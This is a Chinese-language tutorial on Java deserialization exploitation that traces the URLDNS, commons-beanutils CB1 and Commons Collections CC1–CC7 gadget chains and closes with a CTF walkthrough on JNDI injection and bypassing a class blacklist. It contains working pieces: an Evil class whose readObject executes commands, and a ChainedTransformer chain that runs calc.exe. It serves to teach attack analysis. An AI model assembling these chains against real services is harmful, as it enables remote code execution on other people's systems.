Java反序列化攻击链:深入剖析与实战
1.java的反射机制
1.1. 反射的基本概念
反射允许程序在运行时(而不是编译时)动态地:
- 1.获取类的信息
- 2.创建对象
- 3.调用方法,当像protected,private修饰的方法的时候不能直接调用就可以采取反射的形式调用。但是反射无法访问被强封装的类和成员。这些类通常位于Java的内部包中,例如sun.或com.sun.
- 4.访问/修改字段
- 5.甚至可以访问私有成员
1.2.反射实际用例
Evil类
package com.example.shiro550.shiro;
import java.io.*;
public class Evil implements Serializable{
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
//set
protected void setCmd(String cmd) throws IOException {
this.cmd = cmd;
Runtime.getRuntime().exec(cmd);
}
}
//首先获取class对象,通过 Class 对象,我们可以在运行时动态地获取和操作evil类的结构
Class clz = Class.forName("com.example.shiro550.shiro.Evil");
//再通过class对象获取constructor,再通过constructor构造器来创建实例
Constructor testConstructor = clz.getConstructor();
Object testreadobject = testConstructor.newInstance();//newInstance方法来创建一个 Evil 类的实例
// 再通过class对象获取类中私有方法,参数类型为 String
Method setCmdmethond = clz.getDeclaredMethod("setCmd", String.class);
// 设置私有方法可访问
setCmdmethond.setAccessible(true);
//最后通过invoke方法调用类中setCmd的方法执行calc
setCmdmethond.invoke(testreadobject,"calc");
//通过class对象获取类的属性
Field[] fileds = clz.getDeclaredFields();
for (Field field: fileds) {
System.out.println(field.getName());
}
1.3cc链中 通过InvokerTransformer类进行反射调用
// 方法一:直接使用 InvokerTransformer 调用
Runtime r = Runtime.getRuntime(); // 获取 Runtime 实例
// 通过 InvokerTransformer 调用 Runtime.exec() 方法
new InvokerTransformer(
"exec", // 要调用的方法名
new Class[]{String.class}, // 方法参数类型
new Object[]{"calc"} // 方法参数值
).transform(r); // 传入 Runtime 实例执行转换
// 方法二:使用 ChainedTransformer 串联多个转换器
Transformer[] transformers = new Transformer[] {
// 1. 获取 Runtime 类对象
new ConstantTransformer(Runtime.class),
// 2. 获取 getRuntime 方法
new InvokerTransformer(
"getMethod", // 调用 Class.getMethod()
new Class[] {String.class, Class[].class}, // 参数类型:方法名和参数类型数组
new Object[] {"getRuntime", new Class[0]} // 参数值:getRuntime 方法名和空参数
),
// 3. 调用 getRuntime 方法获取 Runtime 实例
new InvokerTransformer(
"invoke", // 调用 Method.invoke()
new Class[] {Object.class, Object[].class}, // 参数类型:调用对象和参数数组
new Object[] {null, new Object[0]} // 参数值:静态方法故为 null,无参数
),
// 4. 执行命令
new InvokerTransformer(
"exec", // 调用 Runtime.exec()
new Class[] {String.class}, // 参数类型:命令字符串
new Object[] {"calc.exe"} // 参数值:要执行的命令
)
};
// 将转换器数组封装成 ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 执行转换链,触发命令执行
transformerChain.transform(null); // 初始输入为 null,因为第一个转换器是 ConstantTransformer
2.java的字节码class文件动态加载
2.1.Java文件编译命令
使用 javac Hello.java 将Java源文件编译为class文件
2.2. 加载class文件的三种方法
方法一:使用URLClassLoader,使用URL指定class文件所在目录,通过loader.loadClass()方法加载类,适用于加载指定目录下的类文件
import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class LoadTest {
public static void main(String[] args) {
try {
// 指定class文件所在目录(注意:需要指定目录,而不是具体文件)
File file = new File("C:\\Users\\32289\\Desktop");
URL url = file.toURI().toURL();
// 创建URLClassLoader
try (URLClassLoader loader = new URLClassLoader(new URL[]{url})) {
// 加载Hello类
Class<?> helloClass = loader.loadClass("Hello");
// 调用main方法
Method mainMethod = helloClass.getMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[]{});
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
方法二:直接使用defineClass
import java.nio.file.Files;
import java.nio.file.Paths;
public class LoadTest {
static class MyClassLoader extends ClassLoader {
public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}
public static void main(String[] args) {
try {
// 读取class文件
byte[] bytecodes = Files.readAllBytes(Paths.get("Hello.class"));
// 加载类
MyClassLoader loader = new MyClassLoader();
Class<?> clazz = loader.defineClass(bytecodes);
System.out.println("成功加载类: " + clazz.getName());
} catch (Exception e) {
e.printStackTrace();
}
}
}
方法三:使用自定义ClassLoader + defineClass,直接读取class文件的字节码,通过重写findClass方法实现类加载,使用defineClass将字节码转换为Class对象。TemplatesImpl执行类作为反序列化最后常用的执行点,最终加载恶意的class文件也是类似于这种办法。
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Method;
public class LoadTest {
public static void main(String[] args) {
try {
// 直接读取class文件的字节码
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\32289\\Desktop\\Hello.class"));
// 创建自定义类加载器
ClassLoader loader = new ClassLoader() {
@Override
protected Class<?> findClass(String name) {
return defineClass(name, bytes, 0, bytes.length);
}
};
// 加载类
Class<?> helloClass = loader.loadClass("Hello");
// 调用main方法
Method mainMethod = helloClass.getMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[]{});
} catch (Exception e) {
e.printStackTrace();
}
}
}
TemplatesImpl中的关键代码:
public class TransletClassLoader extends ClassLoader {
private final SecurityManager _security;
public TransletClassLoader(SecurityManager security) {
_security = security;
}
public Class<?> defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
private void daefineTransletClasses() {
*// 获取字节码*
byte[][] bytecodes = getBytecodes();
*// 使用defineClass直接加载字节码*
_class[i] = loader.defineClass(null, bytecodes[i], 0, bytecodes[i].length);
}
3.java反序列化链思路
3.1.入口点(Entry Point): 反序列化操作的起始位置,通常是 readObject() 方法。 当目标应用调用某个类的 readObject() 方法,且该类重写了 readObject() 方法时,就会触发自定义的反序列化逻辑。
-
寻找入口点: 寻找那些直接或间接调用 readObject() 方法的地方,例如:
- ObjectInputStream.readObject()
- 一些框架或组件中自定义的反序列化逻辑如(shiro,fastjson)
-
例子:
// Evil.java (可被攻击的类) package EvilSerializtion; import java.io.*; public class Evil implements Serializable { public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception { stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); // 执行命令 } }
当对 Evil 类的序列化数据进行反序列化时,readObject() 方法会被调用,从而执行命令。
3.2利用链/Gadget Chain: 从入口点到执行点的一系列方法调用,就像一条链条一样将两者串联起来。利用链中的每个环节都承上启下,最终导向恶意代码的执行。
-
寻找Gadget: 寻找可利用的类和方法,这些类和方法通常具有以下特点:
- 实现了 Serializable 接口,可以被序列化和反序列化。
- 拥有一些“神奇”的方法,例如 invoke()、newInstance()、get()、set() 等,可以用来反射调用其他方法或修改对象属性。
- 方法之间存在调用关系,可以构成一条完整的利用链。
- 构造Gadget Chain: 将多个Gadget组合起来,形成一条从入口点到执行点的完整调用链。这通常需要深入分析目标应用的依赖库和代码,寻找潜在的可利用点。
-
常见Gadget库和框架:
- Apache Commons Collections
- Apache Commons Beanutils
- Spring Framework
- Fastjson
- Jackson
- …
3.3执行点(Sink): 真正执行恶意操作的地方,例如代码执行(RCE)、命令执行、文件操作、敏感信息泄露等。
-
常见执行点:
- Runtime.getRuntime().exec():执行命令
- ProcessBuilder.start():执行命令
- Method.invoke():反射调用方法
- ClassLoader.loadClass():加载类
- File、FileInputStream、FileOutputStream 等文件操作类
4. URLDNS 链
原理:
java.util.HashMap 重写了 readObject 方法,在反序列化时会调用 hash 函数计算 key 的 hashCode。而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求。攻击者可以通过构造恶意的 URL 对象作为 HashMap 的 key,触发 DNS 解析,将受害者机器的信息发送到攻击者控制的 DNS 服务器。
Gadget Chain:
跟踪链:
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.putVal() // putVal 内部调用 hash()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName() // DNS 解析发生在这里
URLDNS 链利用流程:
- 构造恶意 URL 对象: 攻击者创建一个 URL 对象,其域名指向攻击者控制的 DNS 服务器。
- 创建 HashMap 对象: 攻击者将恶意 URL 对象作为 key,任意对象作为 value,放入 HashMap 中。
- 序列化 HashMap 对象: 攻击者将 HashMap 对象序列化为字节流。
- 反序列化 HashMap 对象: 受害者机器反序列化攻击者提供的字节流。
- 触发 DNS 解析: 在反序列化过程中,HashMap 会调用 readObject 方法,进而调用 hash 方法计算 URL 对象的 hashCode。URL.hashCode 会调用 getHostAddress 解析域名,向攻击者控制的 DNS 服务器发送 DNS 请求。
5.commons-beanutils:1.9.x的cb1链
执行流程:
5.1主要是三个部分,从后往前推
步骤一:TemplatesImpl类: 执行恶意代码的执行点 (能否调用成功依赖于JDK版本, JDK<16 TemplatesImpl这个执行类才可以执行成功)
- 恶意类.newInstance(): 要执行恶意代码,需要先实例化恶意类。
- TemplatesImpl.defineTransletClasses() --> loader.defineClass() / 恶意类.newInstance(): defineTransletClasses() 方法负责定义和加载恶意类,并最终实例化它。 其中 loader.defineClass() 是加载字节码的关键点。
- TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses(): 如果 _translet 为空,getTransletInstance() 会调用 defineTransletClasses()。
- TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance(): newTransformer() 方法会触发 getTransletInstance() 的调用。
- TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer(): getOutputProperties() 方法最终会调用 newTransformer()。 找到关键点:需要找到一种方法调用 TemplatesImpl.getOutputProperties()。
步骤二:寻找可以调用 TemplatesImpl.getOutputProperties() 的 Gadget点
- JavaBean 技术和 getProperty() 方法: JavaBean 规范中,getProperty() 方法可以用于获取对象的属性值。
- PropertyUtils.getProperty(o1, "outputProperties") --> TemplatesImpl.getOutputProperties(): 如果 o1 是 TemplatesImpl 对象,且 property 为 "outputProperties",那么 PropertyUtils.getProperty() 会通过反射调用 TemplatesImpl.getOutputProperties() 方法。(这里实际调用的是 getter 方法)。 找到 Gadget:PropertyUtils.getProperty() 可以作为 Gadget 使用。
步骤三:寻找触发 Gadget 的入口点
- BeanComparator.compare() --> PropertyUtils.getProperty(o1, property): BeanComparator 的 compare() 方法内部使用了 PropertyUtils.getProperty() 来比较 JavaBean 的属性。
- PriorityQueue.heapify() --> BeanComparator.compare(): PriorityQueue 的 heapify() 方法在调整堆结构时会使用比较器进行比较。
- PriorityQueue.readObject() --> PriorityQueue.heapify(): PriorityQueue 的 readObject() 方法在反序列化过程中会调用 heapify()。 找到入口点:PriorityQueue.readObject()
主要涉及的技术点:
- Java 反序列化: 将序列化的数据重新转换为对象的过程。
- JavaBeans: 一种符合特定规范的 Java 类,通过 getter 和 setter 方法暴露属性。
- TemplatesImpl: Apache Xalan 库中的一个类,可以加载并执行字节码。
- BeanComparator: Apache Commons Beanutils 库中的一个比较器,可以根据 JavaBean 属性进行比较。
- PriorityQueue: Java 集合框架中的一个类,实现了优先队列。
5.2全部的调用链:
入口点:PriorityQueue 类的 readObject() 方法(依赖于 JRE)
触发反序列化: 当 PriorityQueue 对象被反序列化时,会自动调用 readObject() 方法。
调用链:利用 Apache Commons Beanutils (依赖于 org.apache.commons.beanutils) 触发 TemplatesImpl
PriorityQueue.readObject() --> PriorityQueue.heapify()
PriorityQueue.heapify() --> BeanComparator.compare() (使用了 BeanComparator 作为比较器)
BeanComparator.compare() --> PropertyUtils.getProperty(o1, property) (其中 o1 为 TemplatesImpl 对象,property 为 "outputProperties")
PropertyUtils.getProperty(o1, property) --> TemplatesImpl.getOutputProperties() (通过反射调用)
执行链:TemplatesImpl 的恶意字节码加载和执行 (依赖于 JRE)
TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer()
TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance()
TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses() (如果 _translet 为空)
TemplatesImpl.defineTransletClasses() --> loader.defineClass() (使用自定义的 ClassLoader 加载字节码)
TemplatesImpl.defineTransletClasses() --> 恶意类.newInstance() (实例化恶意类)
恶意代码执行: 在恶意类实例化过程中,静态代码块或构造函数会被执行。
5.3gadet调用链部分比较重要的点
用到了javabean技术,getProperty方法获取目标类o1( TemplatesImpt类 )的属性值的方法(会调用TemplatesImpt类里面的geoutputPropertiest属性的方法‘) 起到承上启下连接链的作用,承上:接收BeanComparator的比较请求,启下:触发 TemplatesImpl 的危险方法。
在较新版本的 JDK 中,JDK 16 及之后: 移除了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类执行点
跟链思路:先从下往上,再寻找到gadget调用链承上启下,再寻找入口点连接起来,从后往前推找到谁调用了这个方法一直到readobject方法就可以截至
5.4JDK 版本限制
- JDK 16 及之后: TemplatesImpl 类访问收到限制,该类默认情况下被强封装,需要特殊配置才能访问。到了jdk16就需要使用其他执行类。
jdk15的情况下生成的cb1的反序列能够成功执行,但是到了jdk16之后就会报错:
报错信息分析:
InaccessibleObjectException: Unable to make sun.reflect.annotation.AnnotationInvocationHandler accessible
表明无法通过反射访问这个内部类。
CB链调用的过程中间接的利用到了sun.reflect.annotation.AnnotationInvocationHandler这个内部类,在新版本中,这个内部类被严格封装,默认不允许反射访问。
6.commons-collections:3.1反序列化链的进化史
6.1cc1链
cc1反序列化gadet调用链:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoe()
Runtime.exec()
cc1调用链:
入口点:ObjectInputStream.readObject()
反序列化调用链:
ObjectInputStream.readObject() --> AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.readObject() --> Map(Proxy).entrySet()
Map(Proxy).entrySet() --> AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() --> LazyMap.get()
执行链:
LazyMap.get() --> ChainedTransformer.transform()
ChainedTransformer.transform() --> 依次执行:
ConstantTransformer.transform()
InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod()
InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime()
InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()
cc1链中比较重要的点
- AnnotationInvocationHandler类的动态代理技术:readObject() 方法会读取 memberValues 属性(即动态代理对象),并调用该对象的 entrySet() 方法。动态代理将方法调用转发给 AnnotationInvocationHandler 的 invoke() 方法:
- invoke() 方法调用 LazyMap 的 get() 方法: invoke() 方法逻辑会调用 LazyMap 的 get() 方法,触发恶意 Transformer 链的执行。
- LazyMap 的触发: 利用 LazyMap 的特性,在 get() 操作时触发 transform() 方法,从而启动执行链
- transform链:通过装载多个transformer加反射调用Runtime().getruntime()来执行命令
6.2cc3链
CC3 链与 CC1 链的结构类似,主要区别在于执行阶段的最后一个 Transformer,cc3主要是通过TemplatesImpl 来加载恶意字节码,使得攻击者可以更加灵活地控制反射调用的过程。
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.getOutputProperties() (or newTransformer())
CC3 链详细分解:
-
入口点与反序列化阶段(与 CC1 相同):
- ObjectInputStream.readObject()
- AnnotationInvocationHandler.readObject()
- Map(Proxy).entrySet()
- AnnotationInvocationHandler.invoke()
- LazyMap.get()
-
执行阶段(与 CC1 不同):
- LazyMap.get() --> ChainedTransformer.transform()
- ChainedTransformer.transform() --> 依次执行:
- ConstantTransformer.transform(): 返回 TemplatesImpl 类。
- InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod(): 通过反射获取 TemplatesImpl 类的 getOutputProperties() 或 newTransformer() 方法。
- InvokerTransformer.transform() --> Method.invoke() --> TemplatesImpl.getOutputProperties() 或 TemplatesImpl.newTransformer(): 调用 TemplatesImpl 对象的 getOutputProperties() 或 newTransformer() 方法。
TemplatesImpl 的关键作用:
- TemplatesImpl 是 javax.xml.transform 包下的一个类,用于加载和执行 XSLT 模板。
- 攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中。
- 当 TemplatesImpl 的 getOutputProperties() 或 newTransformer() 方法被调用时,会触发恶意字节码的加载和执行。
CC3 链的核心要点:
- 利用 TemplatesImpl 加载恶意字节码,绕过了一些对 Runtime.exec() 的限制。
- 仍然依赖于 AnnotationInvocationHandler 作为反序列化入口点,因此也受限于 JDK 版本。
6.3cc5链
cc5链相比较于前面的cc1和cc3链,使用了不同的反序列化入口点,不再依赖于 AnnotationInvocationHandler,从而可以绕过 JDK 对 CC1 和CC3对AnnotationInvocationHandler的修复。
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC5 链详细分解:
- 入口点: ObjectInputStream.readObject() 读取序列化对象。
-
反序列化阶段:
- ObjectInputStream.readObject() --> BadAttributeValueExpException.readObject(): 当反序列化 BadAttributeValueExpException 类型的对象时,会调用其 readObject() 方法。
- BadAttributeValueExpException.readObject() --> TiedMapEntry.toString(): BadAttributeValueExpException 类中有一个 val 属性,该属性的类型是 Object。攻击者可以将一个 TiedMapEntry 对象赋值给 val 属性。在 BadAttributeValueExpException.readObject() 方法中会调用 val.toString()。
- TiedMapEntry.toString() --> LazyMap.get(): TiedMapEntry 的 toString() 方法会调用其内部 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。
-
执行阶段(与 CC1 相同):
- LazyMap.get() --> ChainedTransformer.transform()
- ChainedTransformer.transform() --> 依次执行:
- ConstantTransformer.transform()
- InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod()
- InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime()
- InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()
CC5 链的核心要点:
- 利用 BadAttributeValueExpException 作为新的反序列化入口点,绕过了 JDK 对 AnnotationInvocationHandler 的修复。
- 通过 TiedMapEntry 的 toString() 方法触发 LazyMap 的 get() 方法。
- 仍然使用 Transformer 链执行任意命令
6.4cc6链
CC6 链利用 HashSet 和 HashMap 的特性来触发反序列化漏洞。
CC6 反序列化 Gadget 调用链:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
CC6 链详细分解:
- 入口点: ObjectInputStream.readObject() 读取序列化对象。
-
反序列化阶段:
- ObjectInputStream.readObject() --> HashSet.readObject(): 当反序列化 HashSet 类型的对象时,会调用其 readObject() 方法。
- HashSet.readObject() --> HashMap.put(): HashSet 内部使用 HashMap 来存储元素。在 readObject() 过程中,会调用 HashMap 的 put() 方法添加元素。
- HashMap.put() --> HashMap.hash(): 为了计算元素的哈希值,HashMap.put() 会调用 HashMap.hash() 方法。
- HashMap.hash() --> TiedMapEntry.hashCode(): 如果 HashMap 中存储的是 TiedMapEntry 对象,那么 HashMap.hash() 会调用 TiedMapEntry.hashCode() 方法。
- TiedMapEntry.hashCode() --> TiedMapEntry.getValue(): TiedMapEntry.hashCode() 方法会调用 TiedMapEntry.getValue() 方法获取值。
- TiedMapEntry.getValue() --> LazyMap.get(): TiedMapEntry 内部持有一个 Map 对象,getValue() 方法会调用该 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。
-
执行阶段(与 CC1 相似):
- LazyMap.get() --> ChainedTransformer.transform()
- ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()
CC6 链的核心要点:
- 利用 HashSet 和 HashMap 的反序列化过程作为入口点。
- 通过 HashMap 计算 TiedMapEntry 哈希值时触发 LazyMap.get()。
- 仍然使用 Transformer 链执行任意命令。
6.5cc7链
CC7 链利用 Hashtable 和 AbstractMapDecorator 的特性来触发反序列化漏洞。
CC7 反序列化 Gadget 调用链:
ObjectInputStream.readObject()
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
DelegatingMethodAccessorImpl.invoke()
NativeMethodAccessorImpl.invoke()
NativeMethodAccessorImpl.invoke0()
Runtime.exec()
CC7 链详细分解:
- 入口点:ObjectInputStream.readObject() 读取序列化对象。
-
反序列化阶段:
- ObjectInputStream.readObject() --> Hashtable.readObject():当反序列化 Hashtable 类型的对象时,会调用其 readObject() 方法。
- Hashtable.readObject() --> Hashtable.reconstitutionPut():Hashtable 在反序列化过程中会调用 reconstitutionPut() 方法重新构建内部的键值对。
- Hashtable.reconstitutionPut() --> AbstractMapDecorator.equals():Hashtable 在 reconstitutionPut() 中会使用 equals() 方法比较键是否相等。如果 Hashtable 中的键是一个 AbstractMapDecorator 对象(如 LazyMap 或 TransformedMap),那么会调用其 equals() 方法。
- AbstractMapDecorator.equals() --> AbstractMap.equals():AbstractMapDecorator 的 equals() 方法会调用 AbstractMap.equals() 方法进行进一步比较。
- AbstractMap.equals() --> LazyMap.get():在 AbstractMap.equals() 方法中,如果比较的另一个对象也是一个 Map,会调用其 get() 方法获取值进行比较。这里的 Map 实际上是一个 LazyMap 对象,key 是 AbstractMapDecorator 对象本身。
-
执行阶段:
- LazyMap.get() --> ChainedTransformer.transform()
- ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke():调用 InvokerTransformer 执行反射调用。
- Method.invoke() --> DelegatingMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke0() --> Runtime.exec():这一系列调用最终会执行 Runtime.exec() 方法。这是 Java 反射调用过程中的底层实现细节。
CC7 链的核心要点:
- 利用 Hashtable 的反序列化机制作为入口点。
- 通过 Hashtable 在反序列化过程中调用 equals() 方法来触发 LazyMap.get()。
- 仍然使用 Transformer 链执行任意命令。
6.6jdk版本限制
随着jdk版本更新cc1链被修复
- JDK 8u71 及之后: CC1 链和CC3链使用的是相同的入口gadet片段导致失效。JDK 8u71 修复了 AnnotationInvocationHandler 的漏洞,导致依赖于它的 CC1 和 CC3 链失效。这是因为 AnnotationInvocationHandler 的 memberValues 字段的类型受到了限制,阻止了恶意利用。
- jdk16及之后:和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC5,CC6,CC7失效。
6.7总结
对 CC3、CC5、CC6 和 CC7 链进行总结如下:
链 | 入口点 | 触发方式 | 执行方式 | JDK 限制 |
---|---|---|---|---|
CC1 | AnnotationInvocationHandler.readObject() | Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() | Runtime.exec() | JDK 8u71 之后修复 |
CC3 | AnnotationInvocationHandler.readObject() | Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() | TemplatesImpl 加载字节码 | JDK 8u71 之后修复 |
CC5 | BadAttributeValueExpException.readObject() | TiedMapEntry.toString() -> LazyMap.get() | Runtime.exec() | JDK16后修复 |
CC6 | HashSet.readObject() | HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() | Runtime.exec() | JDK16后修复 |
CC7 | Hashtable.readObject() | Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get() | Runtime.exec() | JDK16后修复 |
通用特点:
- 都利用了 Apache Commons Collections 库中的 LazyMap 和 ChainedTransformer、InvokerTransformer 等类。
差异:
- 入口点不同: 每个链使用了不同的类作为反序列化的入口点,这是为了绕过 JDK 对之前链的修复。
- 触发方式不同: 每个链通过不同的方式触发 LazyMap 的 get() 方法,从而启动 Transformer 链。
- 执行方式: CC3 主要利用 TemplatesImpl 加载恶意字节码执行命令,而其他链(CC1、CC5、CC6、CC7)通常利用 Runtime.exec(),但技术上也可以使用 TemplatesImpl来加载恶意的字节码实现命令执行,内存马注入等.
7.commons-collections4.0:反序列化链
7.1CC2 链
CC2 反序列化 Gadget 调用链:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
Method.invoke()
Runtime.getRuntime()
Method.invoke()
Runtime.exec()
入口点:ObjectInputStream.readObject()
反序列化调用链:
ObjectInputStream.readObject() --> PriorityQueue.readObject()
PriorityQueue.readObject() --> PriorityQueue.heapify()
PriorityQueue.heapify() --> PriorityQueue.siftDown()
PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator()
PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare()
执行链:
TransformingComparator.compare() --> InvokerTransformer.transform()
InvokerTransformer.transform() --> 依次执行:
Method.invoke() --> Class.getMethod()
Method.invoke() --> Runtime.getRuntime()
Method.invoke() --> Runtime.exec()
content_copyUse code with caution.Java
CC2 链中比较重要的点:
- PriorityQueue 的利用: PriorityQueue 是一个优先队列,在反序列化时会进行堆排序。
- TransformingComparator 的作用: TransformingComparator 是一个比较器,在 PriorityQueue 进行排序时会调用其 compare 方法,从而触发 InvokerTransformer 的 transform 方法。
- InvokerTransformer 的反射调用: 与 CC1 链类似,InvokerTransformer 通过反射调用 Runtime.getRuntime().exec() 方法执行命令。
7.2 CC4 链
CC4 反序列化 Gadget 调用链:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
Constructor.newInstance()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
DefineTransletClasses.defineClass()
入口点:ObjectInputStream.readObject()
反序列化调用链:
ObjectInputStream.readObject() --> PriorityQueue.readObject()
PriorityQueue.readObject() --> PriorityQueue.heapify()
PriorityQueue.heapify() --> PriorityQueue.siftDown()
PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator()
PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare()
执行链:
TransformingComparator.compare() --> InstantiateTransformer.transform()
InstantiateTransformer.transform() --> Constructor.newInstance()
Constructor.newInstance() --> TemplatesImpl.newTransformer()
TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance()
TemplatesImpl.getTransletInstance() --> DefineTransletClasses.defineClass()
CC4 链中比较重要的点:
- InstantiateTransformer 的利用: CC4 链与 CC2 链的结构类似,主要区别在于执行阶段使用了 InstantiateTransformer 而不是 InvokerTransformer。
- TemplatesImpl 加载字节码: InstantiateTransformer 会调用指定类的构造函数创建对象。在 CC4 中,这个类是 TemplatesImpl,攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中,然后通过调用 newTransformer() 方法触发恶意字节码的加载和执行。
7.3 JDK 限制
随着 JDK 版本更新,CC2 和 CC4 链也受到了一定的限制:
- JDK 16 及之后: CC2链和CC4链和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC链失效。
7.4 总结
链 | 入口点 | 触发方式 | 执行方式 | JDK 限制 |
---|---|---|---|---|
CC2 | PriorityQueue.readObject() | PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InvokerTransformer.transform() | Runtime.exec() | JDK16后失效 |
CC4 | PriorityQueue.readObject() | PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InstantiateTransformer.transform() | TemplatesImpl 加载字节码 | JDK16后失效 |
通用特点:
- 都利用了 PriorityQueue 的反序列化过程作为入口点。
- 都利用了 TransformingComparator 作为触发器。
差异:
- 执行方式不同: CC2 利用 InvokerTransformer 执行 Runtime.exec(),而 CC4 利用 InstantiateTransformer 和 TemplatesImpl 加载恶意字节码。
8.java反序列的payload一键生成利用工具
9.反序列化和jndi实战例题
2024赣州杯 byp4ss
9.1配置动态调试
拿到jar包之后解压:
解压之后idea中打开这个项目:
项目结构->模块->添加classes和lib依赖:
添加远程调试
然后通过以下命令运行jar包
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar byp4ss.jar
打上断点就可调试
9.2indexController路由存在漏洞点
参数base64,jndi
9.3思路一:jndi远程注入
Byp4ssApplication
System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false")
这个设置的含义是:禁止 LDAP 引用远程对象时进行反序列化操作,可以尝试传统的远程加载jndi服务。
传统的远程加载jndi服务加载类的方法要依赖于启动jar包的java版本,只要java版本小于:1.8u191就可以攻击成功
9.4思路二:java原生反序列化攻击
需要将重点放在反序列化攻击上,寻找绕过resolveClass中类名检测的方法
代码中禁止了以下类的反序列化:
ConcurrentSkipListMap
HashMap
HashTable
org.apache.commons.collections.functors 包下的类
寻找不在黑名单gadet中的链条
根据lib依赖的组件和版本使用工具生成反序列化链
9.5绕过禁用的反序列化类
生成传入报错因为禁用了hashmap类的反序列化
所以我们要找其他的gadet片段替换绕过,找的是toString方法->getter方法
